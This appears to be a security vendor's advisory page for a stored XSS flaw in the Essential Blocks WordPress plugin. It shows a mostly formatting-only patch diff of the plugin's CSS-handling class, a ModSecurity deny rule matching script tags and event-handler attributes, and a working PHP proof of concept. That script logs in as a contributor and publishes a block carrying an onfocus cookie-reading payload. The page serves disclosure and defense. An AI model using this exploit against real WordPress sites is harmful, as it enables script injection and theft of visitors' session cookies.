+            foreach ($this->astra_hook_ids as $element_id) {
+                if (file_exists($this->style_dir . $this->get_eb_filename($element_id))) {
+                    wp_enqueue_style('eb-block-style-' . $element_id, $this->style_url . $this->get_eb_filename($element_id), $deps, substr(md5(microtime(true)), 0, 10));
                 }
             }
         }
@@ -215,11 +247,11 @@
         $this->enqueue_widget_styles();

         //FSE Style Enqueue
-        if ( function_exists( 'wp_is_block_theme' ) && wp_is_block_theme() ) {
-            $templates = array_unique( $this->fse_template_ids );
-            foreach ( $templates as $template ) {
-                if ( is_integer( $template ) && file_exists( $this->fse_style_dir . $this->get_fse_filename( $template ) ) ) {
-                    wp_enqueue_style( 'eb-fse-style-' . $template, $this->fse_style_url . $this->get_fse_filename( $template ), array(  ), substr( md5( microtime( true ) ), 0, 10 ) );
+        if (function_exists('wp_is_block_theme') && wp_is_block_theme()) {
+            $templates = array_unique($this->fse_template_ids);
+            foreach ($templates as $template) {
+                if (is_integer($template) && file_exists($this->fse_style_dir . $this->get_fse_filename($template))) {
+                    wp_enqueue_style('eb-fse-style-' . $template, $this->fse_style_url . $this->get_fse_filename($template), array(), substr(md5(microtime(true)), 0, 10));
                 }
             }
         }
@@ -232,39 +264,39 @@
          *
          * @since 3.0.0
          */
-        do_action( 'eb_frontend_assets', $this->style_dir, $this->style_url );
+        do_action('eb_frontend_assets', $this->style_dir, $this->style_url);
     }

-    public function load_frontend_scripts_conditionally( $block_content, $block ) {
-        if ( null === $block_content ) {
+    public function load_frontend_scripts_conditionally($block_content, $block) {
+        if (null === $block_content) {
             $block_content = "";
         }

         // Load our main frontend scripts if there's a Essential block
         // loaded in the frontend.
-        if ( ! $this->is_main_script_loaded && ! is_admin() ) {
-            if ( strpos( $block_content, '<!-- wp:essential-blocks/' ) !== false ) {
+        if (! $this->is_main_script_loaded && ! is_admin()) {
+            if (strpos($block_content, '<!-- wp:essential-blocks/') !== false) {
                 $this->enqueue_frontend_assets();
                 $this->is_main_script_loaded = true;
             }
         }

         // Only do this for Essential blocks.
-        if ( ! isset( $block[ 'blockName' ] ) || strpos( $block[ 'blockName' ], 'essential-blocks/' ) === false ) {
+        if (! isset($block['blockName']) || strpos($block['blockName'], 'essential-blocks/') === false) {
             return $block_content;
         }

         return $block_content;
     }

-    public function load_frontend_css_file( $post_id, $handle_name, $block_names ) {
-        $css_file = $this->frontend_style_dir . $this->get_frontend_filename( $post_id );
-        $css_url  = $this->frontend_style_url . $this->get_frontend_filename( $post_id );
+    public function load_frontend_css_file($post_id, $handle_name, $block_names) {
+        $css_file = $this->frontend_style_dir . $this->get_frontend_filename($post_id);
+        $css_url  = $this->frontend_style_url . $this->get_frontend_filename($post_id);

-        if ( file_exists( $css_file ) ) {
-            wp_enqueue_style( $handle_name, $css_url, array(  ), filemtime( $css_file ) );
+        if (file_exists($css_file)) {
+            wp_enqueue_style($handle_name, $css_url, array(), filemtime($css_file));
         } else {
-            $handle_name = $this->generate_frontend_css_file( $block_names, $handle_name, $css_file, $css_url );
+            $handle_name = $this->generate_frontend_css_file($block_names, $handle_name, $css_file, $css_url);
         }
         return $handle_name;
     }
@@ -274,57 +306,57 @@
      * @param array $block_names
      * @return string
      */
-    public function generate_frontend_css_file( $block_names, $handle, $filename, $fileurl ) {
-        $all_blocks = array_unique( $block_names );
+    public function generate_frontend_css_file($block_names, $handle, $filename, $fileurl) {
+        $all_blocks = array_unique($block_names);

         $css = '';
-        if ( count( $all_blocks ) > 0 ) {
-            foreach ( $all_blocks as $block ) {
+        if (count($all_blocks) > 0) {
+            foreach ($all_blocks as $block) {
                 $blockname = '';
                 $dir       = '';
-                if ( defined( 'ESSENTIAL_BLOCKS_PRO_DIR_PATH' ) && str_starts_with( $block, 'essential-blocks/pro-' ) ) {
-                    $split_name = explode( '/', $block );
-                    $blockname  = str_replace( 'pro-', '', $split_name[ 1 ] );
+                if (defined('ESSENTIAL_BLOCKS_PRO_DIR_PATH') && str_starts_with($block, 'essential-blocks/pro-')) {
+                    $split_name = explode('/', $block);
+                    $blockname  = str_replace('pro-', '', $split_name[1]);
                     $dir        = ESSENTIAL_BLOCKS_PRO_DIR_PATH . 'assets' . DIRECTORY_SEPARATOR . 'blocks' . DIRECTORY_SEPARATOR . $blockname . DIRECTORY_SEPARATOR . 'style.css';
-                } elseif ( str_starts_with( $block, 'essential-blocks/' ) ) {
-                    $split_name = explode( '/', $block );
-                    $blockname  = $split_name[ 1 ];
-                    $dir        = ESSENTIAL_BLOCKS_DIR_PATH . 'assets' . DIRECTORY_SEPARATOR . 'blocks' . DIRECTORY_SEPARATOR . $split_name[ 1 ] . DIRECTORY_SEPARATOR . 'style.css';
+                } elseif (str_starts_with($block, 'essential-blocks/')) {
+                    $split_name = explode('/', $block);
+                    $blockname  = $split_name[1];
+                    $dir        = ESSENTIAL_BLOCKS_DIR_PATH . 'assets' . DIRECTORY_SEPARATOR . 'blocks' . DIRECTORY_SEPARATOR . $split_name[1] . DIRECTORY_SEPARATOR . 'style.css';
                 } else {
                     continue;
                 }
-                if ( file_exists( $dir ) && strlen( $blockname ) > 0 ) {
-                    $css .= apply_filters( "eb_fixed_frontend_styles/{$blockname}", file_get_contents( $dir ), $blockname, );
+                if (file_exists($dir) && strlen($blockname) > 0) {
+                    $css .= apply_filters("eb_fixed_frontend_styles/{$blockname}", file_get_contents($dir), $blockname,);
                 }
             }
         }

         //Write CSS File and Enqueue
-        if ( strlen( trim( $css ) ) > 0 ) {
-            if ( ! file_exists( $this->frontend_style_dir ) ) {
-                mkdir( $this->frontend_style_dir, 0755, true );
+        if (strlen(trim($css)) > 0) {
+            if (! file_exists($this->frontend_style_dir)) {
+                mkdir($this->frontend_style_dir, 0755, true);
             }

             //Replace Breakpoints
             $breakpoints = array(
-                'tablet' => CSSParser::get_responsive_breakpoints( 'tablet' ),
-                'mobile' => CSSParser::get_responsive_breakpoints( 'mobile' )
-             );
+                'tablet' => CSSParser::get_responsive_breakpoints('tablet'),
+                'mobile' => CSSParser::get_responsive_breakpoints('mobile')
+            );

             $all_breakpoints = array(
-                '1024' => $breakpoints[ 'tablet' ],
-                '1023' => $breakpoints[ 'tablet' ] - 1,
-                '1025' => $breakpoints[ 'tablet' ] + 1,
-                '767' => $breakpoints[ 'mobile' ],
-                '768' => $breakpoints[ 'mobile' ] + 1
-             );
+                '1024' => $breakpoints['tablet'],
+                '1023' => $breakpoints['tablet'] - 1,
+                '1025' => $breakpoints['tablet'] + 1,
+                '767' => $breakpoints['mobile'],
+                '768' => $breakpoints['mobile'] + 1
+            );

-            foreach ( $all_breakpoints as $old => $new ) {
-                $css = preg_replace( "/(@media[^{]+)width:s*" . preg_quote( $old ) . "px/", "$1width:" . $new . "px", $css, -1, $count );
+            foreach ($all_breakpoints as $old => $new) {
+                $css = preg_replace("/(@media[^{]+)width:s*" . preg_quote($old) . "px/", "$1width:" . $new . "px", $css, -1, $count);
             }
-            file_put_contents( $filename, $css );
+            file_put_contents($filename, $css);
             //Enqueue
-            wp_enqueue_style( $handle, $fileurl, array(  ), filemtime( $filename ) );
+            wp_enqueue_style($handle, $fileurl, array(), filemtime($filename));
             return $handle;
         }
         return '';
@@ -333,21 +365,21 @@
     /**
      * Generate FSE Assets
      */
-    public function fse_assets_generation( $template, $type, $templates ) {
-        $block_template = resolve_block_template( $type, $templates, $template );
-        if ( ! empty( $block_template ) ) {
-            if ( isset( $block_template->content ) ) {
-                $parsed_content = parse_blocks( $block_template->content );
+    public function fse_assets_generation($template, $type, $templates) {
+        $block_template = resolve_block_template($type, $templates, $template);
+        if (! empty($block_template)) {
+            if (isset($block_template->content)) {
+                $parsed_content = parse_blocks($block_template->content);

-                if ( is_array( $parsed_content ) && ! empty( $parsed_content ) ) {
-                    if ( isset( $block_template->wp_id ) && isset( $block_template->type ) ) {
+                if (is_array($parsed_content) && ! empty($parsed_content)) {
+                    if (isset($block_template->wp_id) && isset($block_template->type)) {
                         $this->fse_page_template_id = $block_template->wp_id;
-                        $this->fse_template_ids[  ] = $block_template->wp_id;
-                        $this->write_css_from_content( $parsed_content, $block_template->wp_id, $block_template->type );
+                        $this->fse_template_ids[] = $block_template->wp_id;
+                        $this->write_css_from_content($parsed_content, $block_template->wp_id, $block_template->type);
                     }

-                    foreach ( $parsed_content as $content ) {
-                        $this->fse_template_parts_recursive( $content );
+                    foreach ($parsed_content as $content) {
+                        $this->fse_template_parts_recursive($content);
                     }
                 }
             }
@@ -356,27 +388,27 @@
         return $template;
     }

-    public function fse_template_parts_recursive( $content ) {
-        if ( isset( $content[ 'blockName' ] ) && isset( $content[ 'attrs' ][ 'theme' ] ) && isset( $content[ 'attrs' ][ 'slug' ] ) ) {
-            $id       = $content[ 'attrs' ][ 'theme' ] . '//' . $content[ 'attrs' ][ 'slug' ];
+    public function fse_template_parts_recursive($content) {
+        if (isset($content['blockName']) && isset($content['attrs']['theme']) && isset($content['attrs']['slug'])) {
+            $id       = $content['attrs']['theme'] . '//' . $content['attrs']['slug'];
             $template = '';
-            if ( ( 'core/template-part' === $content[ 'blockName' ] ) ) {
-                $template = get_block_template( $id, 'wp_template_part' );
-            } elseif ( ( 'core/template' === $content[ 'blockName' ] ) ) {
-                $template = get_block_template( $id, 'wp_template' );
+            if (('core/template-part' === $content['blockName'])) {
+                $template = get_block_template($id, 'wp_template_part');
+            } elseif (('core/template' === $content['blockName'])) {
+                $template = get_block_template($id, 'wp_template');
             }

-            if ( isset( $template->content ) && isset( $template->wp_id ) && isset( $template->type ) ) {
-                $this->write_css_from_content( parse_blocks( $template->content ), $template->wp_id, $template->type );
+            if (isset($template->content) && isset($template->wp_id) && isset($template->type)) {
+                $this->write_css_from_content(parse_blocks($template->content), $template->wp_id, $template->type);

-                if ( empty( $this->fse_page_template_id ) ) {
+                if (empty($this->fse_page_template_id)) {
                     $this->fse_page_template_id = $template->wp_id;
                 }
             }
-        } elseif ( isset( $content[ 'innerBlocks' ] ) && count( $content[ 'innerBlocks' ] ) > 0 ) {
-            if ( count( $content[ 'innerBlocks' ] ) > 0 ) {
-                foreach ( $content[ 'innerBlocks' ] as $block ) {
-                    self::fse_template_parts_recursive( $block );
+        } elseif (isset($content['innerBlocks']) && count($content['innerBlocks']) > 0) {
+            if (count($content['innerBlocks']) > 0) {
+                foreach ($content['innerBlocks'] as $block) {
+                    self::fse_template_parts_recursive($block);
                 }
             }
         }
@@ -388,48 +420,48 @@
      * @param integer $post_id
      * @return void
      */
-    public function write_css_from_content( $parsed_content, $post_id = false, $type = '' ) {
-        if ( count( $parsed_content ) === 0 ) {
+    public function write_css_from_content($parsed_content, $post_id = false, $type = '') {
+        if (count($parsed_content) === 0) {
             return;
         }

-        $filename  = $this->style_dir . $this->get_eb_filename( $post_id );
-        $eb_blocks = array(  );
-        if ( 'wp_template' === $type || 'wp_template_part' === $type ) {
-            $recursive_response         = CSSParser::eb_block_style_recursive( $parsed_content, $eb_blocks, $this->fse_block_names );
-            $filename                   = $this->fse_style_dir . $this->get_fse_filename( $post_id );
-            $this->fse_template_ids[  ] = $post_id;
+        $filename  = $this->style_dir . $this->get_eb_filename($post_id);
+        $eb_blocks = array();
+        if ('wp_template' === $type || 'wp_template_part' === $type) {
+            $recursive_response         = CSSParser::eb_block_style_recursive($parsed_content, $eb_blocks, $this->fse_block_names);
+            $filename                   = $this->fse_style_dir . $this->get_fse_filename($post_id);
+            $this->fse_template_ids[] = $post_id;
         } else {
-            $recursive_response = CSSParser::eb_block_style_recursive( $parsed_content, $eb_blocks, $this->block_names );
+            $recursive_response = CSSParser::eb_block_style_recursive($parsed_content, $eb_blocks, $this->block_names);
         }

         //Check if file exists, return
-        if ( file_exists( $filename ) ) {
+        if (file_exists($filename)) {
             return;
         }

-        $reusable_Blocks = ! empty( $recursive_response[ 'reusableBlocks' ] ) ? $recursive_response[ 'reusableBlocks' ] : array(  );
+        $reusable_Blocks = ! empty($recursive_response['reusableBlocks']) ? $recursive_response['reusableBlocks'] : array();
         // remove empty reusable blocks
-        $reusable_Blocks = array_filter( $reusable_Blocks, function ( $v ) {
-            return ! empty( $v );
-        } );
-        unset( $recursive_response[ "reusableBlocks" ] );
-        $style = CSSParser::blocks_to_style_array( $recursive_response );
-
-        if ( false !== $post_id ) {
-            $this->write_block_css( $style, $post_id, $type ); //Write CSS file for this page
-        }
-
-        $reusableIds = $reusable_Blocks ? array_keys( $reusable_Blocks ) : array(  );
-        if ( ! empty( $reusableIds ) ) {
-            update_option( '_eb_reusable_block_ids', $reusableIds );
-        }
-        update_post_meta( $post_id, '_eb_reusable_block_ids', $reusableIds );
-
-        if ( ! empty( $reusable_Blocks ) ) {
-            foreach ( $reusable_Blocks as $blockId => $block ) {
-                $style = CSSParser::blocks_to_style_array( $block );
-                $this->write_reusable_block_css( $style, $blockId );
+        $reusable_Blocks = array_filter($reusable_Blocks, function ($v) {
+            return ! empty($v);
+        });
+        unset($recursive_response["reusableBlocks"]);
+        $style = CSSParser::blocks_to_style_array($recursive_response);
+
+        if (false !== $post_id) {
+            $this->write_block_css($style, $post_id, $type); //Write CSS file for this page
+        }
+
+        $reusableIds = $reusable_Blocks ? array_keys($reusable_Blocks) : array();
+        if (! empty($reusableIds)) {
+            update_option('_eb_reusable_block_ids', $reusableIds);
+        }
+        update_post_meta($post_id, '_eb_reusable_block_ids', $reusableIds);
+
+        if (! empty($reusable_Blocks)) {
+            foreach ($reusable_Blocks as $blockId => $block) {
+                $style = CSSParser::blocks_to_style_array($block);
+                $this->write_reusable_block_css($style, $blockId);
             }
         }
     }
@@ -439,19 +471,19 @@
      * @retun void
      * @since 1.0.2
      */
-    private function write_block_css( $block_styles, $post_id, $post_type ) {
+    private function write_block_css($block_styles, $post_id, $post_type) {
         // Write CSS for Page/Posts
-        if ( ! empty( $css = CSSParser::build_css( $block_styles ) ) ) {
-            if ( 'wp_template' === $post_type || 'wp_template_part' === $post_type ) {
-                if ( ! file_exists( $this->fse_style_dir ) ) {
-                    mkdir( $this->fse_style_dir, 0755, true );
+        if (! empty($css = CSSParser::build_css($block_styles))) {
+            if ('wp_template' === $post_type || 'wp_template_part' === $post_type) {
+                if (! file_exists($this->fse_style_dir)) {
+                    mkdir($this->fse_style_dir, 0755, true);
                 }
-                file_put_contents( $this->fse_style_dir . $this->get_fse_filename( $post_id ), $css );
+                file_put_contents($this->fse_style_dir . $this->get_fse_filename($post_id), $css);
             } else {
-                if ( ! file_exists( $this->style_dir ) ) {
-                    mkdir( $this->style_dir, 0755, true );
+                if (! file_exists($this->style_dir)) {
+                    mkdir($this->style_dir, 0755, true);
                 }
-                file_put_contents( $this->style_dir . $this->get_eb_filename( $post_id ), $css );
+                file_put_contents($this->style_dir . $this->get_eb_filename($post_id), $css);
             }
         }
     }
@@ -461,14 +493,14 @@
      * @retun void
      * @since 3.4.0
      */
-    private function write_reusable_block_css( $block_styles, $id ) {
-        if ( isset( $block_styles ) && is_array( $block_styles ) ) {
-            if ( ! empty( $css = CSSParser::build_css( $block_styles ) ) ) {
+    private function write_reusable_block_css($block_styles, $id) {
+        if (isset($block_styles) && is_array($block_styles)) {
+            if (! empty($css = CSSParser::build_css($block_styles))) {
                 $upload_dir = $this->style_dir . 'reusable-blocks/';
-                if ( ! file_exists( $upload_dir ) ) {
-                    mkdir( $upload_dir, 0755, true );
+                if (! file_exists($upload_dir)) {
+                    mkdir($upload_dir, 0755, true);
                 }
-                file_put_contents( $upload_dir . DIRECTORY_SEPARATOR . 'eb-reusable-' . abs( $id ) . '.min.css', $css );
+                file_put_contents($upload_dir . DIRECTORY_SEPARATOR . 'eb-reusable-' . abs($id) . '.min.css', $css);
             }
         }
     }
@@ -478,45 +510,45 @@
      * @retun void
      * @since 3.5.3
      */
-    private function single_file_css_generator( $block_styles, $upload_dir, $filename ) {
+    private function single_file_css_generator($block_styles, $upload_dir, $filename) {
         $editSiteCssPath = $upload_dir . $filename;
-        if ( file_exists( $editSiteCssPath ) ) {
-            $existingCss = file_get_contents( $editSiteCssPath );
+        if (file_exists($editSiteCssPath)) {
+            $existingCss = file_get_contents($editSiteCssPath);
             $pattern     = "~/*(.*?)*/~";
-            preg_match_all( $pattern, $existingCss, $result, PREG_PATTERN_ORDER );
-            $allComments  = $result[ 0 ];
-            $seperatedIds = array(  );
-            foreach ( $allComments as $comment ) {
-                $id = preg_replace( '/[^A-Za-z0-9-]|Ends|Starts/', '', $comment );
+            preg_match_all($pattern, $existingCss, $result, PREG_PATTERN_ORDER);
+            $allComments  = $result[0];
+            $seperatedIds = array();
+            foreach ($allComments as $comment) {
+                $id = preg_replace('/[^A-Za-z0-9-]|Ends|Starts/', '', $comment);

-                if ( strpos( $comment, "Starts" ) ) {
-                    $seperatedIds[ $id ][ 'start' ] = $comment;
-                } elseif ( strpos( $comment, "Ends" ) ) {
-                    $seperatedIds[ $id ][ 'end' ] = $comment;
+                if (strpos($comment, "Starts")) {
+                    $seperatedIds[$id]['start'] = $comment;
+                } elseif (strpos($comment, "Ends")) {
+                    $seperatedIds[$id]['end'] = $comment;
                 }
             }

-            $seperateStyles = array(  );
-            foreach ( $seperatedIds as $key => $ids ) {
-                $seperateStyles[  ][ $key ] = isset( $block_styles[ $key ] ) ? $block_styles[ $key ] : array(  );
+            $seperateStyles = array();
+            foreach ($seperatedIds as $key => $ids) {
+                $seperateStyles[][$key] = isset($block_styles[$key]) ? $block_styles[$key] : array();
             }

-            self::$_block_styles = array_merge( self::$_block_styles, $block_styles );
+            self::$_block_styles = array_merge(self::$_block_styles, $block_styles);

-            if ( ! empty( $css = CSSParser::build_css( self::$_block_styles ) ) ) {
-                if ( ! file_exists( $upload_dir ) ) {
-                    mkdir( $upload_dir );
+            if (! empty($css = CSSParser::build_css(self::$_block_styles))) {
+                if (! file_exists($upload_dir)) {
+                    mkdir($upload_dir);
                 }

-                file_put_contents( $editSiteCssPath, $css );
+                file_put_contents($editSiteCssPath, $css);
             }
         } else {
             self::$_block_styles = $block_styles;
-            if ( ! empty( $css = CSSParser::build_css( $block_styles ) ) ) {
-                if ( ! file_exists( $this->style_dir ) ) {
-                    mkdir( $this->style_dir );
+            if (! empty($css = CSSParser::build_css($block_styles))) {
+                if (! file_exists($this->style_dir)) {
+                    mkdir($this->style_dir);
                 }
-                file_put_contents( $editSiteCssPath, $css );
+                file_put_contents($editSiteCssPath, $css);
             }
         }
     }
@@ -526,15 +558,15 @@
      * @return void
      * @since 3.5.3
      */
-    public function after_save_widget( $id, $sidebar_id, $request, $creating ) {
-        $parsed_content = isset( $request[ 'instance' ][ 'raw' ][ 'content' ] ) ? parse_blocks( $request[ 'instance' ][ 'raw' ][ 'content' ] ) : array(  );
-        if ( is_array( $parsed_content ) && ! empty( $parsed_content ) ) {
-            $eb_blocks          = array(  );
-            $recursive_response = CSSParser::eb_block_style_recursive( $parsed_content, $eb_blocks, $this->widget_block_names );
-            unset( $recursive_response[ "reusableBlocks" ] );
-            $style = CSSParser::blocks_to_style_array( $recursive_response );
+    public function after_save_widget($id, $sidebar_id, $request, $creating) {
+        $parsed_content = isset($request['instance']['raw']['content']) ? parse_blocks($request['instance']['raw']['content']) : array();
+        if (is_array($parsed_content) && ! empty($parsed_content)) {
+            $eb_blocks          = array();
+            $recursive_response = CSSParser::eb_block_style_recursive($parsed_content, $eb_blocks, $this->widget_block_names);
+            unset($recursive_response["reusableBlocks"]);
+            $style = CSSParser::blocks_to_style_array($recursive_response);
             //Write CSS file for Widget
-            $this->single_file_css_generator( $style, $this->style_dir, $this->prefix . '-widget.min.css' );
+            $this->single_file_css_generator($style, $this->style_dir, $this->prefix . '-widget.min.css');
         }
     }

@@ -542,36 +574,36 @@
      * Load Dependencies
      */
     private function load_style_handler_dependencies() {
-        require_once plugin_dir_path( __FILE__ ) . 'includes/class-parse-css.php';
+        require_once plugin_dir_path(__FILE__) . 'includes/class-parse-css.php';
     }

     /**
      * Get post content when page is saved
      */
-    public function on_save_post( $post_id, $post, $update ) {
-        $post_type = get_post_type( $post_id );
+    public function on_save_post($post_id, $post, $update) {
+        $post_type = get_post_type($post_id);

         //If This page is draft, return
-        if ( isset( $post->post_status ) && 'auto-draft' == $post->post_status ) {
+        if (isset($post->post_status) && 'auto-draft' == $post->post_status) {
             return;
         }

         // Autosave, do nothing
-        if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
+        if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
             return;
         }

         // Return if it's a post revision
-        if ( false !== wp_is_post_revision( $post_id ) ) {
+        if (false !== wp_is_post_revision($post_id)) {
             return;
         }

         //Remove frontend assets on save post/FSE
         $clean_frontend = false;
-        if ( 'templately_library' === $post_type ) {
+        if ('templately_library' === $post_type) {
             $clean_frontend = true;
         }
-        $this->remove_frontend_assets( $post_id, $post_type, $clean_frontend );
+        $this->remove_frontend_assets($post_id, $post_type, $clean_frontend);

         // $parsed_content = $this->get_parsed_content( $post_id, $post, $post_type );

@@ -580,15 +612,15 @@
         // }
     }

-    private function get_parsed_content( $post_id, $post, $post_type ) {
-        if ( 'wp_template_part' === $post_type || 'wp_template' === $post_type ) {
-            $post = get_post( $post_id );
+    private function get_parsed_content($post_id, $post, $post_type) {
+        if ('wp_template_part' === $post_type || 'wp_template' === $post_type) {
+            $post = get_post($post_id);
         }

-        $parsed_content = parse_blocks( $post->post_content );
+        $parsed_content = parse_blocks($post->post_content);

-        if ( empty( $parsed_content ) ) {
-            delete_post_meta( $post_id, '_eb_reusable_block_ids' );
+        if (empty($parsed_content)) {
+            delete_post_meta($post_id, '_eb_reusable_block_ids');
         }

         return $parsed_content;
@@ -599,42 +631,42 @@
      */
     public function generate_post_content() {
         // FSE assets generation
-        if ( function_exists( 'wp_is_block_theme' ) && wp_is_block_theme() ) {
-            add_filter( "

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@contains /wp-json/wp/v2/posts" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-4658 via Essential Blocks Add to Cart block attribute injection',severity:'CRITICAL',tag:'CVE-2026-4658'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS:content "@rx <script[^>]*>|on(load|click|focus|mouseover|error|submit|change|keypress|keydown|keyup|blur|resize|scroll|unload|dblclick|mousedown|mouseup|mousemove|mouseout|mouseenter|mouseleave|reset|search|select|touchend|touchmove|touchstart|wheel|abort|canplay|canplaythrough|cuechange|durationchange|emptied|ended|error|loadeddata|loadedmetadata|loadstart|pause|play|playing|progress|ratechange|seeked|seeking|stalled|suspend|timeupdate|volumechange|waiting|afterprint|beforeprint|beforeunload|haschange|message|offline|online|pagehide|pageshow|popstate|storage)" "chain"
SecRule REQUEST_BODY "@rx essential-blocks/add-to-cart" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4658 - Gutenberg Essential Blocks <= 6.0.4 - Stored XSS via Add to Cart Block Attributes

$target_url = 'http://example.com'; // Change to target WordPress site
$wp_login = 'contributor_user';
$wp_password = 'contributor_pass';

// XSS payload for the className or blockId attribute
$xss_payload = '" onfocus="alert(document.cookie)" autofocus="true';

// Step 1: Authenticate and get nonces
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($wp_login) . '&pwd=' . urlencode($wp_password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);

// Step 2: Get the REST API nonce and post ID via block editor
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=post');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// Parse nonce and post_id from the page
preg_match('/wpApiSettings.nonce.*?"(.*?)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
preg_match('/"post_id"s*:s*(d+)/', $response, $matches);
$post_id = isset($matches[1]) ? $matches[1] : '';

if (empty($nonce) || empty($post_id)) {
    die('Failed to extract nonce or post ID.n');
}

echo "Extracted nonce: $noncen";
echo "Post ID: $post_idn";

// Step 3: Craft block content with XSS payload in the blockId attribute
$block_content = '<!-- wp:essential-blocks/add-to-cart {"blockId":"' . $xss_payload . '"} /-->';

// The block editor REST endpoint expects blocks as an array
$data = [
    'title' => 'XSS Test Post',
    'content' => $block_content,
    'status' => 'publish',
];

// Step 4: Send REST API request to update the post
$headers = [
    'X-WP-Nonce: ' . $nonce,
    'Content-Type: application/json',
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts/' . $post_id);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);

$decoded = json_decode($result, true);
if (isset($decoded['id'])) {
    echo "Post created successfully. Visit the page to trigger XSS: $target_url/?p=" . $decoded['id'] . "n";
} else {
    echo "Failed to create post. Response: $resultn";
}

curl_close($ch);
// Clean up cookie file
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School